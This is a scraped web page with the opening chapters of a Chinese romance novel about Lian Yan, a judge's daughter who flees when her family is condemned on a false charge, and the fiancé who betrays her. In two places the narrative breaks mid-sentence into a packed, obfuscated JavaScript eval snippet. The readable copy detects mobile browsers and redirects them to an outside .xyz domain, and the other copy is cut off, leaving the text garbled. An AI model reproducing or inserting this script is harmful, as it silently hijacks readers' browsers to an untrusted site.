《落难后成了清冷权臣白月光》 1. 敛府变故 是夜,敛府藏春院。 咚咚咚—— 敛烟是被急促的敲门声惊醒的,她抬头望了一眼天色,才恍然发觉自己竟然作画到了深夜,整个人一头栽倒在了未干的画上,现如今满脸满手都是黑墨。 在她面前有些晕开的画作上,是敛和安有些严肃苍老的面容,敛烟伸手轻轻摩挲了一下,眼眶不禁再一次酸涩起来。 父亲是人人尊敬的大理寺卿,断案向来不偏不倚、公正无私,也曾经平反过诸多冤案,却在一个月之前外出查案的时候,乘坐的马车意外坠落山崖,尸骨无存。 母亲单听云接到消息的时候几乎伤心欲绝。 家中男丁稀少,除敛烟以外,便只余下一个年仅五岁的弟弟敛承允,家里顶梁柱瞬间倒塌,让所有人都措手不及。 尸骨至今没有找到,敛烟也曾亲自策马前去坠落地查看,却发现山崖陡峭,而往下便是涛涛江水,几乎没有生还的可能。 敛烟知道自己要帮母亲分担家中事务,便强忍悲痛,主动操持葬礼,立了牌位。 京城中人人都道敛府嫡女是个铁石心肠的,葬礼上竟没有流一滴眼泪,但他们却不知道,敛烟一个人躲在自己的画室里,画了数百张父亲的肖像画。 有愤怒的、开心的、感动的、严肃的……敛烟一笔又一笔描摹着父亲的皱纹、胡须、发白的鬓发,想要将他的音容笑貌都刻在脑海中。 咚咚咚—— 敲门声再次响起,连带着还有她的贴身丫鬟苗儿惊慌的声音:“小姐!小姐!大事不好了!” 敛烟将纷乱的思绪抛出脑海,提起裙摆起身将大门打开。 门外灯火通明,有纷乱的脚步从不远处的庭院传来。 苗儿眼泪汪汪地站在门外,她头上珠钗凌乱,整个人都在微微颤抖:“小姐不好了!老爷他、他……” 爹去世那天,苗儿便是这幅样子,如今又提到爹的事情,敛烟不禁深吸一口气,扶着门框的手都在微微颤抖,勉强稳住情绪道: “你且慢慢说,怎么了?” 苗儿道:“官府来人说、说老爷他偷漏军饷,君上特意下了圣旨,官兵已经在抄家了!” 敛烟脸色一白:“爹他向来为官光明磊落,哪里会偷漏军饷?” 苗儿抽抽噎噎地开口:“奴婢也不知,只是现下老爷……没了,夫人和小公子都被带到正门口了,我们、我们该如何是好啊小姐?” 爹先是突发意外去世,如今又被指认偷漏军饷……此事恐怕没那么简单。 事发突然,未等敛烟想到一个万全的法子,在偏院的不远处便冲进来一队官兵,不由分说便架着她们来到了敛府大门口。 敛烟向来喜欢在敛府东南角的藏春院作画,虽然偏僻但胜在安静无人叨扰,因此直到走到了主院,敛烟才看清楚此时家里是怎样一副混乱的景象。 只见昔日整洁熟悉的庭院,此时正被一群手持长枪的士兵团团围住,从他们的穿着来看,赫然是京城禁卫军。 廊道中穿梭着一个个提着大箱子的士兵,值钱的物件都被搬往门口的马车上,不值钱的被随意丢在院中,一片狼藉。 冰冷的铠甲倒映出一排排跪坐在地上的人,敛烟一眼便看到了母亲单听云和被她抱在怀里的弟弟敛承允。 单听云此时脸色苍白,汗水打湿了鬓角的发丝,紧紧贴在两颊,她极力表现出镇定的样子,但微微颤抖的身子却出卖了她,后排则跪满了府上的小厮丫鬟,一个个也是惊慌不已。 太监宣读圣旨的声音传了过来: “……大理寺卿敛和安,为一己之私,利用职务便利,偷漏军饷,致使鹿坪山一役战败。” “今被查实,朕心痛不已,此罪当诛,念在敛和安已然身死,琢赐敛府上下流三千里,不论男女,悉数充为官奴,钦此——!” 流三千里! 几个字当头袭来,敛烟只觉得脚下一软,若不是苗儿从旁扶着,怕是早已摔倒在地了。 庭院中的单听云更是两眼一黑,差点一头栽倒在地,但如今她是当家主母,全府上下的安危集于她一身,单听云强行打起精神,颤声喊冤: “请、请公公明鉴,老爷他生前手中从无一例冤案,断不会做偷漏军饷一事,怕不是有奸人从旁作祟诬陷啊!” 大门口的蓝衣太监鼻子里冷哼出声:“敛夫人,您以为圣上没有实质证据,就会随便拿人么?” 他冷冷抬眸,朝旁边的禁卫军一挥手:“抬上来!” 五六只木箱子被禁卫军抬着,砰地一声放在了单听云眼前。 蓝衣太监点了点头,得了命令的禁卫军伸出手,将其中一只箱子打开,入目便是一整箱白花花的银子。 蓝衣太监冷声道:“看看吧夫人,这可都是从你们东南角的库房里搜出来的。” 单听云一愣,颤抖着伸出手取出其中一块银锭,只见那银锭的底部赫然是军饷独一无二的标识,她只觉得两眼一黑,跌坐到了地上: “怎么可能……怎么可能呢……我、我从来没见过这些东西啊?” 她抬起头,发丝凌乱,眼神悲伤:“公公,定是、定是有人故意放在我们府里的啊,请公公明察!” 蓝衣太监摇摇头:“夫人,这您就是空口无凭了,东西是从你们家搜出来的,可不能说不是你们的,就不是你们的啊。” 单听云也知道此劫怕是避无可避,瞬间泪如雨下、泣不成声。 而这时,旁边忽地传来一个清亮的声音,如朗朗玉珏相碰,掷地有声: “请公公明鉴,多年来我们府上连宅子都未曾翻修过,进门的石狮子和牌匾可都是府邸的门面,如今都已残缺不堪。” “您进门的时候也亲眼瞧见,若是有这些银子何至如此?不说修整庭院,就算是买个三进三出的大宅子也毫不夸张吧。” 传话的太监这才发现一旁被两个官兵带过来的两个小姑娘。 一个如莹莹美玉,翠绿色纱衣裹在姣好的身材上,低眉垂眸。 说话的那个虽高挑,却满脸黑墨似的疤痕,辨不清五官,只是那双圆溜溜的眼睛中似乎闪烁着转转流光。 “哦?嘴皮子如此伶俐的丫头,应当就是敛家嫡女了吧?” 还未等敛烟说话,一旁的苗儿忽然拽着敛烟的胳膊,两个人一同扑通跪在了地上。 “敛家嫡女敛烟见过公公,这丫头是我的丫鬟,刚才出口冒犯了公公我,望公公恕罪。” 听到苗儿的话,敛烟身子一震,但她也知道苗儿的意思,忙配合地低下头。 蓝衣太监扫过敛烟被墨汁弄花的脸和她平时作画习惯穿的素衣,头上只草草绑了一个素带,在晦暗不明的火光下,脸上的墨汁更像是一道道可怖的疤痕。 而反观苗儿,虽然珠钗首饰有些简陋,但打扮也算精致,身上也非寻常丫鬟的粗布麻衣。 他慢悠悠转过身:“无妨,做奴才的为主子家辩白也无可厚非,只可惜圣上已经下旨,你说再多也是无用。” 说完,那太监的目光便在苗儿身上逡巡半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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感受到苗儿微微颤抖的手,敛烟心下不忍,但她知道,父亲的意外身亡、不知被谁藏在府里的军饷,都印证了此事绝对不简单。 而只有自己逃出去,才会有一丝找到真相的希望。 否则流放到西北荒芜之地,那就真的是叫天天不灵、叫地地不应了。 这时,敛烟忽然听到单听云接近嘶哑的声音:“苗儿!” 单听云声音中带有哭腔,满眼皆是痛苦与不舍。 隔着火光,敛烟望向跪在地上的母亲,以及死死咬住下唇,逼迫自己不要落泪的敛承允。 平时亦步亦趋跟在自己身后,奶声奶气叫长姐的承允,今晚却始终没有开口。 一个五六岁的小哭包,如今却像一个大人般,用坚定的目光盯着自己,仿佛在说长姐你放心,我会照顾好娘。 纵使心中有千言万语,敛烟也只能囫囵吞下,她低眉掩下已经通红的眼眶,颤声答道:“……夫人,珍重。” 敛烟双拳紧握,刚要走出庭院,却听到蓝衣太监在后面懒洋洋的语调: “等等——” 敛烟身子一震,她尽力稳住情绪,转过身来:“公公请吩咐。” 蓝衣太监的神情在火光中阴暗不定,他朝旁边的官兵招了招手: “天黑路滑,你去陪着丫头走一趟吧。” 说完,他转头朝敛烟露出一口花白的牙,在火光的映衬下煞是渗人: “免得有人趁着夜黑风高,给我们上演一出狸猫换太子的戏码。” 2. 逃离 敛烟穿过长长的廊道,朝东南角的画阁所在的藏春院走去,那官兵则紧紧跟在身后,盔甲相撞发出脆响。 敛烟自小是画痴,父母疼爱她便请了一个有名的民间画师教她。 结果不成想她不满足于闭门造车,竟扮作男儿偷跑出去和一堆浪荡公子吟诗作画、品评名作,被父亲发现后曾被狠狠责罚过一顿。 为了避免她再跑出去坏了姑娘家的名声,家里便单独辟了一个画阁供她专门作画之用,画阁门口派人好生看管,不容她再未经允许溜出去。 但谁知敛烟根本不收敛这野性子,偷偷在从画阁里面挖了个地道直通墙外,用木板作遮挡,让苗儿替自己守着,仍旧是时不时偷溜出去。 没想到自己当初贪玩挖的地洞,竟成了现如今保命的关键所在。 好在那官兵并不熟悉敛府的布局,也不知真正的小姐闺房所在,只是跟着敛烟兀自向里面走去。 敛府拢共就这么大小,官兵又跟的紧,敛烟七拐八绕仍是无法甩掉对方,为了不引起怀疑,她只得停在了画阁门口。 推开门的一刹那,身后的官兵“咦”了一声:“这当真是敛家娘子的闺房?” 画阁里目之所及都是一卷一卷的画卷,有的晾在横梁上,有的散落在地上,有的则铺在案几上,偌大房间竟找不到落脚的地方。 敛烟福了福身:“我家小姐是画痴,自然是喜欢伴画而眠,让大人见笑了。” 说罢将手搁在门框处,刚要迈步踏入,却见那官兵紧随身后,便停了下来,转身道:“这里是小姐的闺阁,大人恐怕不方便进来。” 官兵鹰隼般的目光扫了过来,一只手已经搭在了剑柄上:“都是罪臣之女了还讲究什么男女有别,赶紧进去,别耍什么花招。” 敛烟见调虎离山不成,只能硬着头皮转身走进了画阁,拨开几幅还在晾晒的墨画,假意蹲下在案几旁边的柜阁中翻找。 她边翻找边用余光看官兵的反应,只见他不耐烦地看着门外,似乎想要赶紧做完这次差事回去。 藏春院独留画阁,并未有什么值钱的物件,故而门外只是偶有三三两两的士兵匆匆而过,均不曾停留。 突然,敛烟的余光扫过案几,那上面放着堆叠在一起的画,以及她刚才没来得及吹灭的油灯。 她脑海中灵光乍现,这或许……是她最后的机会了。 敛烟直起身,用余光盯着那一直看着门外的官兵,假装在案几上翻找起来,随后在不经意间,猛然将那油灯打翻在地。 灯油连带着一屋子易燃的画卷,让火苗冲天而起,火势迅速蔓延! “走、走水了!走水了!” 那官兵看到凶猛的火势大叫一声,下意识地朝外面狂奔而去。 当他再次回过头,画阁已然被熊熊大火所吞噬,火光顺着木质的柱子直攀上去,霎那间火光冲天。 等到他惊魂未定地喘口气后,这才后知后觉地反应过来。 刚才那丫鬟呢? 就在那官兵夺路而逃的同时,敛烟当机立断退向大门的反方向,她匆忙撕掉一片衣襟,塞到旁边涮笔的水盆里后捂住口鼻。 随后她熟门熟路地找到了床榻旁那块松动的木板,哧溜一下钻了进去。 地道中幽暗潮湿,敛烟奋力地向前爬行。她的身体早已湿透,泥土与汗水交织在一起,难以分辨。 当她终于爬出地道,刚巧天色已微明,头顶是苍穹之色,渐由黑暗向晨光过渡,身后是越发凶猛的火势和逐渐嘈杂的庭院。 然而就在这时,她看到不远处站着几队官兵。 没想到这些官兵竟将敛府的后山都围起来了! 逃都逃出来了,必然没有回头的余地,敛烟只能一头扎进了一旁的草丛中,祈祷自己不被发现。 然而就在她身子闪进去的一瞬间,她余光看到两个官兵朝她这个方向看过来。 糟了……他们好像看见我了…… 敛烟大气不敢喘地蹲在草丛中,恐惧将她的五感放大,她听见两个官兵越来越近的脚步声。 越来越近,其中一个官兵甚至拔出剑开始朝周边的草丛中刺去。 就在两个人马上就要到达敛烟所在的草丛时,忽然不远处传来一阵怒喝: “是谁在那里!” 两个官兵对视一眼,瞬间被吸引了注意力,朝声音传来的方向跑过去。 敛烟从草丛中探出头偷偷望了一眼,发现其他官兵都被吸引过去了,周围目之所及之处都没有人。 她一刻不敢耽误,飞速钻进林子里,凭借着记忆朝着虞园的方向迅速跑去。 虞园是陆家在京城郊外的一处别院,陆景明有时会在别院中宴请幕僚们。 他们府里人多,而那别院清幽雅静,是一个会友的好去处。 只不过陆景明只带敛烟去过一次,便让她平时不要前来,说是这别院经常会有外男,敛烟一个闺阁女子多有不便。 敛烟倒是不甚在意,后来再也没有去过。 要知道陆景明虽然只是个九品校书郎,但这官职却着实来之不易。 南陵侯夫人是个心气儿高的,南陵侯又是个闲散侯爷,和当今圣上是八竿子打不着的亲戚。 圣上又出身乡野,选贤用人以人才为重,所以南陵侯这个身份不过就是个虚职,作用微乎其微。 陆景明便只能被母亲逼着科考,前后历经三次科考终于谋得这一官职,但南陵侯夫人自是不满的,陆景明自己也拉拢同僚,意图往上走。 所以有一个别院专门宴请同僚,倒也不稀奇。 只不过敛烟自小便记忆力惊人,凡事走过一遍的路、读过一遍的书都能记住,所以自然知道虞园在哪里。 她不能径直去侯府求助,自己出逃必然会引发全京城戒严,所以如今虞园是自己唯一的去处。 这样想着,她只觉得心跳在胸膛中喧嚣,脚下的步伐愈发快了起来。 虞园的轮廓逐渐从清晨的薄雾中显出轮廓,敛烟深吸一口气,没有径直去敲门,而是先隐在虞园一旁的树丛中,仔细观察着里面的动静。 不多时,就听见偏门吱呀一声打开,两个身影从里面走了出来。 一个是陆景明,而另一个是她没有见过的陌生青年。 敛烟便只能用力裹住自己因为寒冷不断发抖的身子,稳住心神不敢贸然上前。 两个人一路走到了敛烟躲避的树丛前,这才停下脚步。 “……哎呀,陆兄不愧是南陵侯府嫡长子,今日一见果然是仪表堂堂、气质不凡,年纪轻轻就位列九品,当真令人佩服。” 陌生男子的声音响起,极尽谄媚之词。 陆景明的声音此时也不远不近响起,听不出情绪:“哪里的话,东华国人才云集,鄙人不过就是运气好罢了。” “哎,这话可就不对了,要知道南陵侯 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“我那在宫中当值的表弟说,厉思远的双亲实际上是救陛下和太后而死,陛下和太后念在救命之恩,把厉思远视如己出,陛下亲自认了厉思远为义子。” 原来是这样,怪不得这样一个年轻的人物在短短几年内就升任正三品。 陆景明听到这里,虽然面上不显,但内心平衡了许多。 如果自己也有他这样的机缘,那还不是平步青云,何至于三次科考才混一个区区的九品芝麻官。 每每听到和父亲有关的话题,敛烟便觉得如鲠在喉,她平复了一下心情,又偷偷听过去,只听见二人已经在道别了。 “今日我们二人说的话,想来陆兄已经听进去了,贺某对令妹是一见倾心,望陆兄可以多多撮合一二。” 陆景明的声音听不出情绪:“那是自然。” 两个人简单话别后,陆景明看着贺禹登上马车后,面色一点一点冷了下来。 母亲是个心高气傲的,自己这个九品官职母亲本来就很是不满,恰好自己的妹妹陆巧香到了适婚的年龄,母亲便一直琢磨着要给巧香寻个好夫婿。 若是能送入宫中得到圣宠,也对自己今后的仕途有所助益。 但偏巧不巧,在一次庙会中,陆巧香就被贺禹这厮看上了。 贺禹的父亲不过就是一介县丞,而他自己还在苦苦求取功名,这种夫婿母亲是断看不上的。 可是偏偏贺禹知道他参加乡试时曾偷偷贿赂过一名考官,而且手里捏着确凿的证据。 这人虽然不明说,但却话里话外让自己撮合他和巧香二人,还会装作不经意提起贿赂的事情,分明就是在要挟自己。 如果和贺禹闹僵,自己贿赂的事情就会败露,别说官职到时能不能保得住,甚至可能连累全家。 正当他全神贯注思索这件事如何解决的时候,自己的肩膀忽地被人戳了戳。 陆景明本就心头烦闷,此时便极其不耐烦地转过身:“是谁?!” 就在他转身的一刹那,一个冰凉的身躯撞进了他的怀中,熟悉的素色襦裙衣角让陆景明心头一颤,低头就看到脸色苍白的敛烟颤抖着身子抬头看向他。 少女的双眼显然是哭过的,红彤彤的肿成了核桃般大,嘴唇也因为失温而有些发白,带着哭腔的声音在他耳畔响起: “陆郎,快帮帮我!” 3. 虞园中的男子 敛烟被陆景明搀扶着,坐到了温暖干燥的房间里,陆景明伸手扯起房间的一床被子,将敛烟轻轻裹住,蹲在了她身边。 “你是说……你们家被抄家了?军饷是从你们家里库房被搜出来的?” 陆景明关切地望着敛烟,伸手轻轻将她凌乱的鬓发拨到耳后。 敛烟点点头,将昨夜发生的一切都悉数阐明,并且还将自己的猜测说了出来。 “陆郎,你知道的,爹他绝对不会偷漏军饷,而就在他出意外的一个月内便出了这桩案子,定是有人在背后捣鬼。” 谈到父亲,敛烟又一次哽咽不已,她紧紧抓住陆景明的手,恳切道: “如今侯爷在陛下面前尚且能说上话,你能否请侯爷帮我们家求求情?再仔细调查一下?我母亲她身子骨弱,流放的路那样苦,她受不住啊!” 悲伤淹没了敛烟所有的理智,以至于她都没有注意到,陆景明听闻敛府变故,眼神闪烁竟没有一丝震惊。 等到敛烟哭声逐渐平复下来,陆景明这才伸手轻抚了一下敛烟的肩头。 “你放心,我这就去禀明父亲,让他尽力想办法,你呢就安心在这里休养,这里很安全。” 陆景明说完,又忍不住问道:“你是怎么找到这里的?” 敛烟疑惑地看了看他:“你曾经带我来过一次,你忘了?” 陆景明一愣,自己都忘了什么时候带她来过,她竟记得来这里的路? 这可是他千挑万选后自认最为隐蔽的宅院了啊! 担心敛烟看出什么,陆景明连忙掩下眼中的惊讶,又虚虚拍了拍敛烟,状似不经意地将手抽出。 “你就待在房间里,困了就睡一会儿,我和父亲说完话就来寻你。” 敛烟乖乖点点头,看着陆景明宽阔的背影从房门消失,整个人瘫软了下来。 她实在是太累了。 整夜的奔跑,以及内心的恐慌,让敛烟在短暂的安全感中不禁有些昏昏欲睡。 然后,她做了个梦。 虽然是梦,但敛烟却感觉到无比真实,真实的可怕。 梦里的她就躺在虞园的房间里,而院外忽然冲进来了一队官兵,为首的便是昨夜她见到的那个蓝衣太监。 蓝衣太监不由分说就把她扭到虞园外,在梦中,敛烟看到了陆景明站在外面,她疯狂大喊向陆景明求助,而陆景明却无动于衷。 敛烟不甘心就这样被抓走,趁那太监要把她拉到囚车上时,狠狠咬了他一口,自己则不顾一切奋力扑向陆景明。 她用瘦弱的双手死死拉住陆景明的衣袖,央求地看向他。 但陆景明抬起的眼眸中,却充满了嘲讽。 梦里的他一点一点将她的手指掰开,平静地低语,让她不要恨他,他这样做也是逼不得已。 敛烟就这样在无尽的绝望中,被一拥而上的禁卫军拉走。 一声惊叫后,敛烟猛地惊醒,这才发现被褥已经被浑身冷汗浸湿。 再回想起梦里的情形,敛烟不禁一阵胆寒。 虽然她全身心相信陆郎,但或许是刚才那个梦过于真实,让她心中不禁泛起一丝惊慌。 敛烟从榻上爬起来,走到房门前轻轻推了下门。 房门纹丝不动。 不安的情绪从心头涌起,她再一次用力推了推门。 房门稍微动了动,却依旧没有打开。 这时,外面传来了一个陌生女子的声音: “敛小姐,陆公子请您在房间里等他,担心您乱走出意外才锁上了门,有什么需要可以和奴婢说。” 有什么意外需要锁上门? 回想起刚才的梦境,脑海里又闪过刚才陆景明见到自己异样的神色,敛烟更加笃定心中的猜想。 现在没有时间去思考为什么陆景明做出这样的事情,当务之急是想办法逃出去。 敛烟贴着房门,努力让自己的声音平和: “……这样啊,陆郎真是思虑周全,只不过……我实在有些渴了,屋里的茶水喝完了,能再帮我添一壶么?” 门外的丫鬟应了一声,毫无防备推门就走了进来,就看到敛烟虚弱地靠在床榻上。 敛烟抬眸,看到门外没有其他人,心中暗自松了口气。 那丫鬟虚虚向她行了一礼后,转身正要提起茶壶,忽然觉得脖子上的皮肤一紧。 偏头看去,只见一根木簪子正死死抵在脖子上,敛烟颤抖的声音从耳边响起: “我不想伤害你,我要离开这里,你就乖乖呆着别动。” 敛烟眼见着那丫鬟要大喊,一把捂住了她的嘴,丫鬟疯狂挣扎起来,敛烟却不知道哪来的力气,死死抱住那丫鬟。 丫鬟手上一松,茶壶咣当一声滚落在了地上,她腾出一只手,更加用力去掰敛烟的手。 就这样一用力,两个人脚下被茶壶一绊,竟然一起倒在了地上。 敛烟只觉得肩头狠狠砸在了地上,疼的她倒吸一口凉气,手不自觉便松了劲,那丫鬟便抓住机会,飞快朝门口扑去。 然而就在她踉踉跄跄飞奔到房门口,正欲开口大喊的时候,只听见“砰”的一声,丫鬟的动作猛地顿在原地,随后整个人便软绵绵倒在了地上。 身后,敛烟举着原本丢在地上的茶壶,大口喘着粗气,直愣愣看着瘫倒在地上的丫鬟。 半晌,她才回过神来,将茶壶丢掉,伸出颤抖的手去探丫鬟的鼻息。 还好,还活着。 许是刚才用尽力气,此刻敛烟只觉得天旋地转,她狠狠朝自己嘴唇上咬了一口,钻心的疼痛让她瞬间清醒过来,她重新打起精神,跑出了房门。 虽然虞园敛烟曾经来过,但不是所有院子都走过,她凭借着记忆朝刚才贺禹离开的偏门跑去,却还是迷了路,跑着跑着竟误闯入了一片竹林。 竹林静谧幽深,小路交错纵横,敛烟小心观察着四周的情况摸索着前进,却忽地听到了一阵很轻的笑声。 很轻很轻,但敛烟敢确定,那就是陆景明的声音。 敛烟脑中顿时警铃大作,闪身躲到了一旁的假山后面。 那笑声由远及近,但听起来却不只一个人。 敛烟偷偷从假山的缝隙朝声音的来源处望去,只看到茂密的竹林中走来两个人影。 一个是陆景明,而另一个则是一个身形娇小的陌生男子。 起初敛烟只以为是陆景明的同僚之一,然而等到两个人走近,敛烟豁然瞪大了双眼。 陆景明和那男子有说有笑,两只手竟然紧紧牵在一起! 虽然都是男子,但哪家的儿郎会和男子牵手? 陆景明和那男子就停在了假山面前,敛烟顺着缝隙能够清清楚楚看到两个人亲昵地互相拥在一起。 敛烟禁不住用手死死抓住假山的边缘,抓的指尖泛白。 断袖之癖她虽然没有见过,但也是听说过的,没想到陆景明竟然……竟然…… “陆郎,你最近来看奴家的次数都变少了。” 男子娇嗔出口,还顺势推了陆景明胸膛一把。 陆景明就这样捉住了他的手,哄道: “会会,我从来都不敢欺瞒你你是知道的,最近敛府的事情我少不了奔波,实在是抽不开身,但你瞧,我这不抽空来陪你了么?” 许会不满地试图抽回手,却被陆景明紧紧握住,索性放弃: “哼大骗子,别以为我不知道你把敛家小姐藏在了这里,谁知道你会不会对她旧情复燃?” 陆景明轻嗤一声:“你又不是不知道,我从未对她动过真心,只不过就是因为她父亲是大理寺卿,而敛烟又对我一往情深,家里人对这门婚事很是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268706|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满意,我这才顺水推舟答应了。” 他伸手轻轻揽住了许会,温声道:“我从始至终只爱你一个人。” 许会露出满意的笑容,轻轻靠在了陆景明怀中。 假山背后,敛烟死死捂住了自己的嘴,忍住现在就要冲出去和陆景明对峙的冲动。 自己的确对陆景明一往情深没错,但陆景明相处多年来对自己也是百般呵护、甜言蜜语。 原来这一切,竟都是装出来的? 只是因为自己父亲是高官,可以提携他? 敛烟呼吸都变得急促起来,过往两个人相处的一幕幕都出现在眼前,之前有多么心动,如今就有多么痛心。 两个人温存了一会儿,许会又问:“那你打算怎么处理敛家小姐?” 陆景明轻轻摩挲着许会的后背,声音冰冷:“我已给禁卫军递消息,很快便会有人来把她带走,你不必担心,敛家算是彻底完了。” 许会幽幽叹了口气:“这些贵人,有时还不如我一个青楼小倌自由。” 陆景明摇头:“要怪就怪敛和安非要抓着申太医失踪的案子不放……” 许会困惑:“什么案子?” 意识到自己说的有点多,陆景明轻咳一声,搂着许会的身子换了话题:“这院子你住的还算合适吧?” 许会轻哼一声:“奴家只希望能够正大光明站在陆郎身边,住在这院子里舒服是舒服,但却总觉得自己是个外室。” 陆景明干笑一声:“我也想名正言顺将你带回家,只是……” “是是是我知道你要说什么,无非就是侯夫人不会同意,还有我们二人传出什么风言风语,传到陛下耳朵里,你这官就当不成了,是吧?” 听着许会有些委屈的声音,陆景明叹了口气: “你放心,如今我抓住了敛烟,算是大功一件,日后等我官拜一品,那些风言风语再也无法影响到我的时候,一定会把你正大光明接回家。” 许会轻笑一声,扑进了陆景明怀中,陆景明眼中却闪烁着别样的情绪。 一个青楼小倌想要名正言顺进陆府? 别开玩笑了! 陛下选贤用人最是看重名声,对断袖之事虽不加以禁止,却明确表达过不喜,他虽然对许会是真心实意的喜欢,但也绝不会让许会影响自己的仕途。 自己用尽一切手段攀附上了那棵大树,绝不仅仅是为了做一个无足轻重的棋子。 他……还有更重要的事情要做。 只不过这件事,决不能让许会知道。 陆景明眸色沉沉,垂眸掩盖下了满眼的算计。 * 等到两个人走远,敛烟这才踉跄着从假山后面钻出来。 原来陆景明说用来宴请同僚的虞园,竟是为了一个青楼小倌。 怪不得不让自己来这里,原是害怕自己的奸情败露! 而他口口声声说对自己的爱慕,竟是都在他的算计中。 他不惜出卖自己,来换取仕途的做法,倒也说得通了。 只是可笑自己一腔深情竟错付他人,堂堂敛府嫡女却不及一个区区青楼小倌。 敛烟自嘲一笑,低下头整理了一下裙摆,再次抬起头来的时候,一抹冷色浮现在她脸上。 一个唯利是图、无情无义的小人,不值得她再为他伤心眷恋。 眼下当务之急是将父亲的冤案查清,而陆景明所说的申太医失踪案,或许就是突破口。 敛烟提起裙摆,朝着竹林另一边走去,不多时便看到了偏门。 她推开偏门的一刹那,就听见自己被囚禁的方向传来一阵惊呼。 敛烟回过头,深深看了一眼身后的院子,随后大踏步朝门外走去。 等着瞧吧陆景明,将来定要将你虚伪的面皮扒下来,千百倍地奉还给你。 4. 俊俏公子 冬去春来,万物复苏。 临州城,东华国东南边一个临海县城。 如今正是初春开渔的季节,临州城的人们都忙着收拾渔具、整理船只,路上吆喝声、叫卖声此起彼伏,好不热闹。 人群中,一名年轻公子手里托着一个木盒走来,身边亦步亦趋跟着一个仆役样的男子,怀中抱着几个锦盒。 那公子竖着发髻,穿着玉色锦罗绸缎小衫,下摆缀着一个鱼白色锦囊。 他身上的衣服并非是名贵布料,但整个人却看着相貌不凡、气宇轩昂,引得周边的路人纷纷望过来,更有大胆的少女三五成群挤在铺子门口,看着那公子掩面轻笑。 年轻公子在一个酒铺门口停下,左看看右看看,面露困惑。 那酒铺的老板见到如此俊俏的郎君,连忙热情地招呼:“公子,是想沽酒吗?” 身边的仆役有些困惑道:“厉大……公子,我打听到的那画师的住所应当是这里才对,许是……他搬家了也说不准?” 来人正是已上任数月的大理寺卿厉思远。 只是临州城地处江南,住在这里的皆是祖辈都扎根在这里的本地人,没有人关心京城发生了什么,所以也就无人能认得出这位新任大理寺卿。 不过这也正合厉思远的心意,他原本也是隐姓埋名而来,若是让人认出来了,免不了麻烦。 但一旁的邱容却不这么认为。 虽他们家大人并不需要事事照应,也没有让自己贴身侍奉,但他自小便跟在厉思远身边,知道他们家大人是什么性子。 明明自小习武,又喜爱的紧,而后亲自向君上请命前往南方清剿南蛮,立下赫赫军功,原本应该是回来封侯的。 然而大人回京后,却因为敛府的案子,惹得陛下在御书房大发雷霆,还让人把大人拉出去,生生打了几十鞭子。 要不是恰巧被太后娘娘身边的嬷嬷瞧见,回去拉了太后来求情,恐怕大人还会挨更多的鞭子。 他还记得大人被拉回府里的时候,那皮开肉绽、鲜血淋漓的后背,心疼的他都哭了。 听送人回来的公公说,打的过程中大人死死咬住嘴唇,愣是不肯发出一点声音。 后来,大人请旨做了大理寺卿。 虽说大理寺卿也是正三品官员,但公子终究是喜欢习武的,怎么偏偏做文官…… 想到公子在请命任职的时候,曾一个人在深夜坐了许久,似是思忖良久才做下的艰难决定。 邱容更是想不通了,就算是惹了陛下动怒,可陛下转头便差宫里人送药来,想来陛下也是真心爱护大人。 公子金枝玉叶,又有陛下和太后护佑,为何会逼自己做不喜欢的事情呢? 这厢,厉思远见邱容也是一脸困惑,此时恰巧那酒铺老板出门招呼他,便拱手问道: “这位阿叔,请问一下这附近可是住着一位姓陈的画师?” 酒铺老板看着这公子温和有礼的样子,乐呵呵答道:“你是说陈生画师?哎哟他可是现在临州城的大名人,几个月前就不住在我们这个破烂地方咯!” 他努了努嘴,指向不远处:“喏,就是那儿。” 厉思远顺着他指的方向望去,酒铺坐落的街巷与另一条街巷由一条河流分隔开来。 顺着木制拱桥望过去,与这边的泥地不同,对面整条街道都是由青石砖铺就而成,四周都是三进三出的大宅子,三三两两的穿着华贵的人从路上走过,和桥这边形成了截然不同的风景。 厉思远挑眉,刚进这临州城的时候,他便一直注意寻找那画师的宅子,却忽略了一桥之隔,竟然差距如此大。 陛下治国严明,京城虽然普通人家同官宦贵族家都分布在不同的街巷,但也没有临州城这样大的差距,一边是破棚屋,一边是大宅子,就连走的道路都不同。 他轻轻嘟囔了一句:“划分的这样分明,这临州县城竟比京城的排场还要大啊……” 虽然声音很轻,但还是被酒铺老板捕捉到了,他忙摆手道:“哎呀公子,您要是去了陈画师的宅子,可千万不要这么说!” 他把声音放低,悄声:“那陈画师可是我们苏县令的侄子,你可千万别把他惹毛了!” 酒铺老板是好心提醒,谁知这年轻公子却浑不在意地笑了笑,一脸轻松。 看的酒铺老板直摇头,真是初生牛犊不怕虎,这样的愣头青当真是不知道苏县令的厉害。 他也没有多说,而是拉开躺椅准备躺下晒晒太阳,就听见那公子又问道:“阿叔,我还有一事不解。” 酒铺老板耐着性子:“什么?” 厉思远:“既然陈生是苏县令的侄子,缘何他的旧宅会在这边?” 如果他身份尊贵,按理来说一开始就应该被划入对面的区域才对,为何会几个月前才搬走,那苏县令可是已经做了七年官了。 酒铺老板直起身子,四下看了看,压低声音: “你们外地人不知道,陈生他们家原来祖辈都是渔夫。” “虽然陈生这人画画小有名气,也赚了不少银子,但是他这个叔叔根本就瞧不上,自然也就没资格去桥对面了。” “约莫是冬天那会儿,好像是他的一幅画很得一位贵人的心?他叔叔非常高兴,于是请他们举家搬到了对面。” “哎呀排场大得很,当时我就在这儿看着,平时邻里关系还行,这一搬家就开始摆起谱了,连招呼都不打就走了!” 一旁茶叶铺的老板这个时候也插了一嘴: 